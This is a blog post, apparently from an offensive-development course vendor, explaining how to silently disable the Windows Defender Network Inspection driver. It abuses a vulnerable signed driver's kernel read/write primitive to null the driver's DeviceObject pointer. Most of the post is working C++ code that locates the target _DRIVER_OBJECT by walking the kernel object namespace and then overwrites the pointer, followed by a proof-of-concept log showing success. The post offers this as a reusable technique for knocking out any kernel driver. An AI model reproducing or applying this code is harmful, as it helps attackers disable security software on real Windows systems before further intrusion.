DeviceObject Nulling: Driver DoS Without BSOD via BYOVD
Welcome to this new Medium post. In this one we will see how to perform a silent DoS against a kernel driver by nulling its DeviceObject pointer using a BYOVD kernel read/write primitive.We target…

Welcome to this new Medium post. In this one we will see how to perform a silent DoS against a kernel driver by nulling its DeviceObject pointer using a BYOVD kernel read/write primitive.
We target WdNisDrv (the Windows Defender Network Inspection driver) and disconnect it from its device stack entirely

Want to go deeper into Windows offensive development?
Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.
Introduction
Every driver in Windows is represented by a _DRIVER_OBJECT structure in kernel memory. One of its fields is DeviceObject, a pointer to the first _DEVICE_OBJECT in the driver's device stack
https://www.vergiliusproject.com/kernels/x64/windows-11/25h2/_DRIVER_OBJECT
//0x150 bytes (sizeof)
struct _DRIVER_OBJECT
{
SHORT Type; //0x0
SHORT Size; //0x2
struct _DEVICE_OBJECT* DeviceObject; //0x8
ULONG Flags; //0x10
VOID* DriverStart; //0x18
ULONG DriverSize; //0x20
VOID* DriverSection; //0x28
struct _DRIVER_EXTENSION* DriverExtension; //0x30
struct _UNICODE_STRING DriverName; //0x38
struct _UNICODE_STRING* HardwareDatabase; //0x48
struct _FAST_IO_DISPATCH* FastIoDispatch; //0x50
LONG (*DriverInit)(struct _DRIVER_OBJECT* arg1, struct _UNICODE_STRING* arg2); //0x58
VOID (*DriverStartIo)(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2); //0x60
VOID (*DriverUnload)(struct _DRIVER_OBJECT* arg1); //0x68
LONG (*MajorFunction[28])(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2); //0x70
};
When an IRP needs to reach a driver, the kernel navigates through its device stack. That navigation starts from DeviceObject. If the pointer is null, the kernel fails the operation with STATUS_NO_SUCH_DEVICE before any driver code runs and it does this check safely, so there is no BSOD
This is our primitive: one null write disconnects the driver from all I/O
Methodology
- Resolve kernel offsets from PDB
- Get ntoskrnl.exe base address
- Walk the object namespace to find the target _DRIVER_OBJECT
- Null the DeviceObject pointer
Implementation
Locating the _DRIVER_OBJECT
We walk the kernel object namespace using our read primitive. Starting from ObpRootDirectoryObject, we scan the bucket hash table of _OBJECT_DIRECTORY, find the entry named Driver, and then search that subdirectory for \Driver\WdNisDrv by comparing DriverName
ULONG64 driverObj = FindDriverObject(drv, ntoskrnlBase, L"\\Driver\\WdNisDrv");
if (driverObj) {
printf("[+] _DRIVER_OBJECT: 0x%llX\n", driverObj);
}
ULONG64 FindDriverObject(HANDLE drv, ULONG64 ntoskrnlBase, const wstring& targetName) {
ULONG64 rootDirPtr = ntoskrnlBase + g_offsets.ObpRootDirectoryObject;
ULONG64 rootDir = 0;
if (!ReadPrimitive(drv, &rootDir, (LPVOID)(uintptr_t)rootDirPtr, sizeof(ULONG64))) {
printf("[-] Failed to read ObpRootDirectoryObject\n");
return 0;
}
printf("[*] ObpRootDirectoryObject: 0x%llX\n", rootDir);
int totalEntries = 0;
int namedEntries = 0;
for (int i = 0; i < NUM_HASH_BUCKETS; i++) {
ULONG64 bucketAddr = rootDir + i * sizeof(ULONG64);
ULONG64 entry = 0;
if (!ReadPrimitive(drv, &entry, (LPVOID)(uintptr_t)bucketAddr, sizeof(ULONG64))) {
continue;
}
printf("[*] Bucket %d: entry=0x%llX\n", i, entry);
while (entry && IsKernelAddress(entry)) {
totalEntries++;
ULONG64 object = 0;
ReadPrimitive(drv, &object, (LPVOID)(uintptr_t)(entry + g_offsets.ODE_Object), sizeof(ULONG64));
printf(" entry=0x%llX object=0x%llX\n", entry, object);
if (object && IsKernelAddress(object)) {
ULONG64 header = object - g_offsets.OH_Body;
UCHAR infoMask = 0;
ReadPrimitive(drv, &infoMask, (LPVOID)(uintptr_t)(header + g_offsets.OH_InfoMask), sizeof(UCHAR));
printf(" header=0x%llX infoMask=0x%02X\n", header, infoMask);
if (infoMask & 0x02) {
namedEntries++;
ULONG64 nameInfoOffset = GetNameInfoOffset(infoMask);
ULONG64 nameInfo = header - nameInfoOffset;
printf(" nameInfoOffset=0x%llX nameInfo=0x%llX\n", nameInfoOffset, nameInfo);
if (IsKernelAddress(nameInfo)) {
wstring objName;
if (KReadUnicodeString(drv, nameInfo + g_offsets.OHNI_Name, objName)) {
printf(" name: %ls\n", objName.c_str());
if (objName == L"Driver") {
printf("[*] Found \\Driver\\ directory at 0x%llX\n", object);
return SearchDriverInDirectory(drv, object, targetName);
}
}
else {
printf(" KReadUnicodeString failed\n");
}
}
}
}
ULONG64 next = 0;
ReadPrimitive(drv, &next, (LPVOID)(uintptr_t)(entry + g_offsets.ODE_ChainLink), sizeof(ULONG64));
entry = next;
}
}
printf("[-] \\Driver\\ not found. totalEntries=%d namedEntries=%d\n", totalEntries, namedEntries);
return 0;
}
FindDriverObject traverses _OBJECT_DIRECTORY_ENTRY, reads _OBJECT_HEADER to check InfoMask for the name info bit (0x02), computes the _OBJECT_HEADER_NAME_INFO offset, and reads DriverName as a from kernel memory
Nulling DeviceObject
With the _DRIVER_OBJECT address known, we compute the address of its DeviceObject field and overwrite it with zero:
ULONG64 deviceObjectFieldAddr = driverObj + g_offsets.DO_DeviceObject;
ULONG64 nullVal = 0;
if (!WritePrimitive(drv, (LPVOID)(uintptr_t)deviceObjectFieldAddr, &nullVal, sizeof(ULONG64))) {
printf("[-] Failed to null DeviceObject\n");
return 1;
}
printf("[+] DeviceObject nulled at 0x%llX\n", deviceObjectFieldAddr);
Full Code
Proof of Concept
Bucket 35: entry=0xFFFF820DE2573790
entry=0xFFFF820DE2573790 object=0xFFFF920BA56FB3D0
header=0xFFFF920BA56FB3A0 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFF920BA56FB380
name: CLDMSGPORT
entry=0xFFFF820DDD48B670 object=0xFFFF920B9EDFE6B0
header=0xFFFF920B9EDFE680 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFF920B9EDFE660
name: MicrosoftMalwareProtectionPortWD
entry=0xFFFF820DDD2D5BB0 object=0xFFFF820DDD2BDC20
header=0xFFFF820DDD2BDBF0 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFF820DDD2BDBD0
name: OSDataRoot
[*] Bucket 36: entry=0xFFFF820DDD48E250
entry=0xFFFF820DDD48E250 object=0xFFFF920B9E1F5560
header=0xFFFF920B9E1F5530 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFF920B9E1F5510
name: SAM_SERVICE_STARTED
entry=0xFFFF820DDD486720 object=0xFFFF820DDD37B270
header=0xFFFF820DDD37B240 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFF820DDD37B220
name: Driver
[*] Found \Driver\ directory at 0xFFFF820DDD37B270
driver: \Driver\fvevol
driver: \Driver\vdrvroot
driver: \Driver\PptpMiniport
driver: \Driver\NetBT
driver: \Driver\acpiex
driver: \Driver\Wdf01000
driver: \Driver\WdNisDrv
[+] Found _DRIVER_OBJECT at 0xFFFF920BA8615E20 (\Driver\WdNisDrv)
[+] _DRIVER_OBJECT: 0xFFFF920BA8615E20
Write primitive sent successfully. Bytes returned: 0
[+] DeviceObject nulled at 0xFFFF920BA8615E28
Conclusions
DeviceObject Nulling is a minimal, stable DoS primitive against any kernel driver. One write disconnects the driver from its entire device stack without touching its code or triggering a BSOD
📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube
S12.